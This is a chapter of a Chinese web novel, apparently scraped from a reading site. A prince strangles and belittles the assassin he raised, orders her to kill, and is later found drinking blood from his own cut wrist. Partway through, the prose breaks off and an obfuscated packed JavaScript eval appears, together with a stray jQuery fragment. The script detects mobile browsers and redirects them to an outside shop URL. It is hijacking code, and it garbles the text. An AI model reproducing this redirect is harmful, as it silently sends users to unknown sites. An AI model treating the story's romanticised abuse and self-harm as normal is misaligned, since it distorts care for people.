又是二选一。
她想起了青枫。
倒在血泊里的青枫,还有那被她亲手砸碎的玉簪。
“为什么?”
良久的沉寂之后,寒露抬眸,一双浅色的瞳孔似是蒙了层薄冰,不解问他。
她脑子愚钝,里面没有九曲八弯,实在不明白,他为何要如此。
为什么,又是这样。
为什么总是这样。
为什么让她亲手杀了青枫之后,还要她亲手杀了那少年。
她不想,根本不想杀青枫!
她也不想杀那少年。
她当时救了他,就是不想让他死!!!
少女浅色的眼眸渐渐染了红意,一双黛眉也紧紧拧着,仿佛成了锋利的剑刃。
剑光刺目。
越来越不听话了啊。
萧淮半阖眼眸,平静的笑意下潜藏风暴。
他修长的五指插入少女发丝,柔顺丝滑的触感掠过皮肤,发香丝丝缕缕地缠在指尖,激的人欲望摇晃。
“为什么……”
男人讥诮地嗤了声,薄唇间的热息落在少女耳畔,将她肌肤灼烧得泛了红。
他手指绕着她一缕发丝,缠紧,忽地一用力,少女纤细脖颈仰起,弧度优美而脆弱。
令人想彻底碾碎。
寒露头皮一阵痛意,她下意识想哼出声,却死死忍住,没有发出一点声音。
“我是主,你是奴,露儿,你问我为什么?”
男人的话声温柔含笑,宛如一泓清泉在月下缓缓流淌,此时此刻,却让人不寒而栗。
是了,他是主,她是奴。
她能做的只有服从。
无风楼暗卫不服从的下场只有一个,便是……死。
死无全尸,身首异处。
她不能例外。
他说,她是他的傀儡,她是他养大的一条狗。
她如何能例外。
寒露垂下眼睑。
男人的手却辗转落在她脖颈。
修长五指握拢,冷白手背青筋浮现,寒露喉咙里骤然涌出阵阵窒息之感。
低沉而嘶哑的声音落在耳边,颤意越发明显:“你当真以为我舍不得杀你?”
喉咙的窒息感几令她喘不过气,是生是死都握在他手上,寒露当然不会如此以为。
“奴,奴没有。”
寒露艰难地吐出几字,背脊仍旧挺直,眼眸垂下,看去一副乖顺之态。
但眼眸里掩着的光却冰冷而寂静。
男人别过眸光,视线落在地上少女的影子里。
他靡红的薄唇扯着,光华明艳的脸上竟现出一丝极其扭曲的神情。
掐着她脖子的手一下松开又一下握紧,看去濒临分裂。
他当真想杀了她么?
不,这个他亲手养大的少女双手还未沾满血,她还没成为他锋利的刀。
他自是不会让她死。
而寒露眼泪流出,她看着面前漂亮至极的人,只觉又回到了那日的大火,仿佛他的眸光又映着火光,疯狂之色愈显。
“露儿,我再说一遍,我养你这么大,我亲手教导你,不是为了让你爬我的床,跟我要那些情情爱爱风花雪月,这些是最无用的东西啊,你不明白吗?”
“它会让人失了理智,成为一个彻彻底底的疯子,让人什么都能丢弃,只为了那可笑的爱,只为了从别人那乞求来一丁点的爱……多可怜啊……”
“多可怜啊……露儿,你要成为这样的疯子,这样的废物吗?”
男人轻声说着,修长五指辗转落在少女残破的唇,他的声音嘶哑过后残存一瞬的温柔,忽然之间,冷宫里女人的哭声,叫喊声蓦地回响耳边,他的眼前骤然闪过大片大片的血色,紧接着,头颅滚落在地,无首尸身倒下……
难忍的刺痛袭来,脑袋似被刀剑搅弄,头疼欲裂。
萧淮蓦地收回了手,身形竟是有些摇晃,踉跄着往后退去,撞上身后书桌,噼里啪啦,笔墨纸砚落了一地。
他一手撑着桌沿,一手捏着太阳穴,弓着背,大口大口地喘着气,竹叶银纹的宽袖滑至手肘,露出了一截青筋虬结的小臂来。
白皙有力,上面却陡然浮现大片的伤痕,狰狞可怖。
脖子处的力气松了,寒露得了喘息,猛地咳嗽起来,而她听到动静抬眼看去,在琉璃灯下,萧淮小臂处的伤痕蓦地映入眼眸。
伤痕自手腕直直延伸到手肘,尽管上面似是敷了药膏,但看去仍是皮肉焦红,血肉模糊。
他手臂本白皙强健,肌肉线条流畅而美丽,这大片的伤痕横亘其上,显得格外触目惊心。
似是通透美丽的玉器有了瑕疵,总是令人遗憾而心惊。
他是那样漂亮,那样的清贵华艳,只要有他在的地方,满室明艳华光,吸引所有目光,美得不似凡尘之人……
寒露一直都知道,清楚的知道,自小到大,自见他的第一眼起到现在,她都是被他的这副皮囊,被他这张脸所引诱,她也承认,这样狰狞而丑陋的伤痕与这人格格不入,不应出现在他身上。
他如此好看,世家公子,皇室贵胄,他向来高高在上,如玉一样白净无暇,这样的伤痕,太违和了。
寒露目光一顿,刹那失神。
看上去……是烧伤。
烧伤。
她眨了眨眼,大火里,男人的手横在她腰间,最后闭眼前,寒露看到的,只有那双映着灼灼火光的桃花眼,似要将她整个焚烧成灰。
公子是为了救她出去才,才受伤的吗?
这个念头划过她脑海,刹那之间,枯木逢春,死灰复燃,那些被压抑的情思和爱慕又涌现出来。
公子对她,会不会……
少女卑微又惶恐地想着,瞳孔微缩,嘴唇嗫嚅,翕张间似是想说什么,眼尾被冲刷着染了一片红。
然而他一手养大她,何其地了解她,自她眼里泛起的水光,那双亮若星子的眼眸,他便知道她在渴望什么,妄想什么。
想要爱?
当真愚蠢,当真废物。
萧淮探知到了她眼眸里的爱慕和渴望,然后下一刻便毫不犹豫地,残忍地将其湮灭成灰。
还是那高高在上,睥睨万物的姿态
冷冷淡淡垂眼,不带半点感情,像是在看一个可怜的蝼蚁。
他垂下手,将小臂处的烧伤痕迹都掩了去,他拉过一旁的椅子闲适坐下,长腿分开,手肘支着膝盖,抬起少女下巴凑近了瞧。
“露儿,别把自己看得太重了,你不过是我豢养的一条狗。”
少女眼里的光倏地沉寂下去。
男人的话还在耳边盘旋。
“你在想什么?你认为本王是为了抱你出去而受的伤?”
“你以为本王是为了大火不烧着你而烧了自己?”
男人微薄的唇上扬,他肤白唇红,此刻嘴角晕着一抹笑意,分明看去若春风拂柳,冰消雪融,那双黑沉的眼眸却刻薄寡恩,阴冷侧侧。
望过去,便让人浑身发抖。
“不过意外罢了。”
他轻描淡写地否了这件事,手指细细地磨着她下巴玩,当真像在逗弄一个自己豢养的宠物。
寒露极其不喜欢这种感受,她忽地扭过头去,男人眼底的笑意停了一瞬,手上当即用了力,五指陷入她脸颊软肉,将她的脸又扳了过来。
迫使她不得不直视他。
两人视线相碰,却始终融不到一起。
男人口干舌燥。
那种头皮发麻的感觉又猛地窜了上来。
他哼笑了声,手上用着力,舌尖的话滚落而出,字字句句都锋利见血。
“不开心不愿意?露儿,你以为你是什么我养着的千金小姐?你当真以为本王会纵着你,你跟我耍什么小姐脾气?!”
寒露眼睛通红,却倔强地不肯垂眼,直直地死死地看着他。
男人落在她唇边的手微顿。
他长睫轻晃,一双桃花眼光影明灭。
萧淮忽然起身,一张椅子往后倒去,发出刺耳声响,随即四分五裂。
他整了整衣衫,衣袖摩擦手臂,小臂处烧焦的皮肉令他眉头微拧,大火的灼烧感似又攀上,怀里的少女柔若无骨,在拽着他衣袖,一声声地喊他哥哥。
她极度害怕时,总会依恋地喊他哥哥,但这声哥哥,他许多年都未听到了。
意识有片刻的浮沉,待回过神后,男人的眼角眉梢却带着一如既往的笑。
他看她,风轻云淡,居高临下,低眉垂眼间尽是令人臣服的压迫感。
“露儿,这件事不管你愿不愿意,你都没得选。”
“这是命令,这是任务,你能做的只有服从,不然,自裁,把这条命还给本王。”
被抛弃的幼鸟抖抖瑟瑟地抬起眼。
“你还是小孩时,我便和你说过……我并非好人,你跟着我不会痛快,跟了我便走不了了。”
“是你自己……要跟着我。”
寒露没说话,她跪在地上,伶仃娇弱,背脊却倔强地不肯弯下,直挺挺地跪着,眼尾分明染了水意,却死死咬牙忍着,不肯在他面前落一滴泪。
自小时候起,便是如此,
果真是他养大的小孩。
萧淮轻笑一声,眼眸里透出晦暗的情绪,他抬手,惯常地想抚摸她脑袋时,指尖却停在她发丝的毫厘之间。
红玉金簪不见了。
“簪子。”
他忽然说了这二字。
这两个字毫无预兆地砸在耳边,寒露愣了那么一瞬,当即反应过来,他指的是那根红玉金簪。
他亲手插在她发间的,那支染了血的红玉金簪。
簪子……簪子丢了。
那晚画面闪过,巷子里的那个男人……
会不会……
寒露肩膀微不可查地抖了下,心电急转间,她立马便回了话,语气听去与平常无异。
“出任务不好戴,便摘了下来,放在匣子里。”
他看她良久,寒露只觉背上压了千斤重担,压得她喘不过气。
她的手指指尖握到发白,直到他反常地没有追着问下去,她才松了口气。
“第二个任务,务必完成,本王给你十日期限。”
他转身走到窗前,背对着她迎着月色,声音被飘渺的晚风吹来,晃晃荡荡地落在她耳边,一下下地锤着她心神。
“露儿,我把你带回王府,我把你养大,你不准背叛我,更不能为了无关紧要之人……忤逆我。”
男人垂眼侧首,乌发垂落他脸颊,月色笼着,将他那张脸衬得越发清绝艳绝。
寒露捕捉到他那抹纠缠的,比月色还冷的目光,听到他说:
“你是我的。”
“只能是我的,明白吗?”
寒露不解,眼眸里尽是茫然。
她摇了摇头,说:“不明白。”
她不明白。
他的什么?
他的狗吗。
但她想当人。
她不想……被栓锁链,锁在他身边了。
他不会爱她。
也不让她爱他。
“这样啊……”
萧淮收回目光,遥望天上被遮的明月,方才脸颊洒落的月色成了一片阴影。
他笑着叹着,声音温润如玉石,却莫名地令人觉察出疯狂和压抑。
“可这事,由不得你。”
——
的确由不得她。
她是他的傀儡。
她若要离开他,只能看他什么时候大发慈悲,觉得她替他杀够了人,觉得他从她这得到了相应的价值,放过她。
什么时候呢。
什么时候她才能还完这恩情呢。
寒露不知道,她只能……去执行命令。
“今日,陪本王去一处地方。”
“是。”
秋风萧瑟,天色阴沉,翌日,萧淮让人备好祭祀用的物什后,命她随他去一处地方。
一处墓地。
法华寺后山的一处密林里,那里有一片无碑的墓地。
每年的这个时候,他都会带她来,只带她来。
寒露并不知道这些无碑的墓里埋葬着谁,他从来不说,作为下属,作为暗卫,寒露也不会逾矩问他,
墓地前纸钱烧着,袅袅飘出几缕青烟,与林里的水雾缠绕在一起。
萧淮半蹲在地烧着纸钱,寒露便站在一旁,看他。
男人削瘦的手腕盖着一层丝绸白衣,随着烧纸钱的动作,隐约透出手腕骨相,旖旎而风流。
少女的目光随之而动。
他一袭素衣,乌发只一根白色绸带松松束着,阴沉冷雾之中,容貌似是映着一层薄薄月色,即便是在如此场合,也莫名被被晕染出几分绮艳来。
“露儿,公子有这么好看吗?自小你便爱盯着我看,怎么都不移眼,也不知道害羞。”
萧淮背对着一旁的少女,也不知怎么发现她在盯着自己看,忽而问了这么一句。
“好看。”被他戳穿,寒露也不掩饰,很直白地回答了他。
萧淮笑了。
纸钱烧完,他起了身,在密林的浓雾里,雪肤乌发,容貌昳丽,更是像极了话本子里飘荡的艳鬼。
寒露看着这男人朝自己走来,有一瞬的恍惚,甫一眨眼,眼睫便被雾气浸得湿淋淋的。
瞧,分明是公子勾引她。
公子难道没错吗?她不过是被他勾得亲了下他罢了,她如何错了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281867|151864||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
分明是他,他却还说她放荡,不知羞耻。
分明是公子放荡。
“小脑袋瓜里又在想什么?”男人走过去摸了摸她的头,声音嘶哑而缓慢,带着平日里没有的轻柔笑意,还有似有若无的疲惫。
寒露没有躲开他,任他如小时候那般摸着自己的脑袋,然后也如小时候那般,眨着一双清凌凌的眼眸看她,说了句大不敬的话。
“在想,公子放荡。”
寒露向来不懂掩饰,想着什么便说了什么,此时此刻也是,萧淮问什么,她便把心中所想说了出来。
“哈……”
许是没料到她会说这么一句,他没忍住笑出了声,摸她脑袋的手垂下,在无人可以探见的地方,这个男人的耳后如玉肌肤氤氲出一团艳色。
在坟墓前说着如此之话,男人随即敛笑,厉声斥责:“胡闹。”
“露儿,我如何把你养成这样了?你若再胡言乱语,没大没小,我便把你扒光了衣衫扔在这。”
寒露不说话了。
她相信他当真做得出如此之事。
小畜生似乎乖了下来,不再胡言乱语,安静地垂着小脑袋。
无碑坟前的纸钱被火烧着,转瞬成灰,秋风卷起残灰,纸钱香烛的味道飘散浓雾之中。
萧淮盯着坟前纸灰看了会,少顷问她:“知道这里面埋着谁吗?”
寒露答:“不知道。”
话落,他收回看向坟前的目光,辗转落在少女脸庞,又道:“我的至亲之人。”
“都死了。”
萧淮笑了,薄唇勾着,俄而又扯出一个极其嘲讽的弧度:“不,还剩下个疯子。”
“一个疯子。”
寒露没说话。
公子的家世,不是他们可以窥探的。
她如他所愿,自觉地当好着一个傀儡和棋子。
坟前的香烛纸钱还在燃着,渺渺青烟,浓雾蒙蒙,男人与少女之间沉寂许久,忽而之间一阵风起,纸钱打着旋飘向两人之间。
两人相视对望,他问她:“露儿,你是吗?”
少女目露疑惑,他又问:“是我的至亲之人吗?”
“至亲之人……”
这几个字的份量太重了。
寒露呢喃念着这几字,眼眸里似是也蒙了一层层的水雾,茫然而不解。
至亲之人,她如何会是公子的至亲之人呢。
若他把她当至亲之人,他如何会那般对她。
光怪陆离的画面一瞬瞬闪过。
血泊里的青枫,砸碎的玉簪,被他踢翻的火盆,脖子的窒息感,还有那一句一句……比剑刃还要锋利的话语。
还有……她将要杀死的那少年。
寒露虽然不算聪明,但她也不傻。
她知道,他也一次次地说过,她不过是他的狗罢了。
一条养着玩的狗罢了。
实际上,也的确如此。
“公子说胡话了,寒露如何配。”
寒露谦卑而温顺地跪在他面前,姿态卑微。
她和他之间一向如此。
主和奴,一向如此。
男人往后退了半步,旋即脸上浮起一抹极冷的笑意。
“是了,你如何配。”
他的面上重又恢复平日的神情,他笑着,往那一片坟墓走去。
身形摇摇晃晃,素白衣衫和乌发被风吹起,他的声音还回荡在少女耳边。
“露儿,你不过是我养的一条狗。”
“你如何配。”
她如何配。
——
这日,从这片无碑的墓地回来,夜里,萧淮便发了疯病。
萧淮有疯病,这事,只有寒露一个人知道。
寒露找遍王府都不见簪子的影子,她正想趁着晚上萧淮睡了,偷偷去那条小巷找簪子时,方从萧淮的院子穿过,便听到房间里传来一阵一阵的摔砸声。
瓷器玉器碎落一地。
她停住了脚步。
平日里若是没有吩咐,公子的这间院子是谁也不敢靠近,只有她不怕死,雷雨夜总爱到他房间来。
“哈哈哈哈——疯子!”
“死了!都死了!”
“娘,都死了啊!”
“都死了……”
“守不住了啊……”
“援军,援军到不了……”
“哈哈哈哈哈……”
“烂透了。”
……
一声声的嘶喊像从无边地狱里传来,似哭喊似嚎叫,戾气冲天恨意翻涌,成了个要将人拉着一起坠落的巨大漩涡。
寒露在萧淮屋外的台阶之下立了片刻,随即推开房门,走入了这个漩涡。
她推开房门,月色透进,昏暗隐去,她跨过门槛,便看到在一地的碎瓷器之中,在那些染了鲜血的碎瓷器中,摇摇晃晃地立着一个人。
长身玉立,瘦削落拓,一身白衣成了血衣,俊美的脸上沾着星星点点的、狂乱的血迹。
一缕月色照进,男人半阖着眼眸看向她,手里拿着一柄短刀,手腕处的鲜血喷涌而出,可见被吸吮的痕迹,他肤色发冷,薄唇染着手腕上的鲜血,一张脸看去透着疯狂的糜艳之色,可怖骇人,森然如鬼,却又惊心动魄。
他割开皮肉,在喝自己的血。
他这种模样,她看过太多次。
以前,连她也记不清是什么时候,在她第一次发现他这个秘密时,她还很小,饶是再冷静,再像个小大人也不免被这种场景吓坏,她呆了好久,而后死死地笨拙地抱住他的腿,颤抖的哭声里带着未消的稚气。
“疼,哥哥疼,露儿也疼。”
她不是那种讨人喜欢的小孩,不会说安慰人的可心话,当时的她也不过是个小孩子,被这个场面吓坏了,只知道死死抱着他,一遍遍地喊他哥哥,喊疼。
喊到后面自己都昏了过去,手却还不松。
第二日她醒来,发现自己不知怎么睡到了床榻上,身上严严实实地盖着被子,蹭了血的手心也被擦拭得干干净净。
而萧淮,曲着长腿靠在床沿,睡了过去。
此时此刻,此情此景,亦是如此。
她看着面前浑身染血,手拿刀刃的男人,竟有一瞬的恍惚。
只是这一次,她没再如同以前那样,死死地抱着他,抱着他喊疼,抱着他喊哥哥。
在屋外透进的月色里,在满室的狼藉,满室地血腥气里,她只是安静地垂着眼,等候吩咐。
看到她,面前的男人似是那疯病中挣扎出来,意识得了几分清明。
哐当一声,他手里的刀刃掉在地上,他舔了舔唇边鲜血,随即张开双手,轻轻歪了下头,笑着说:
“露儿,你不疼疼哥哥吗?”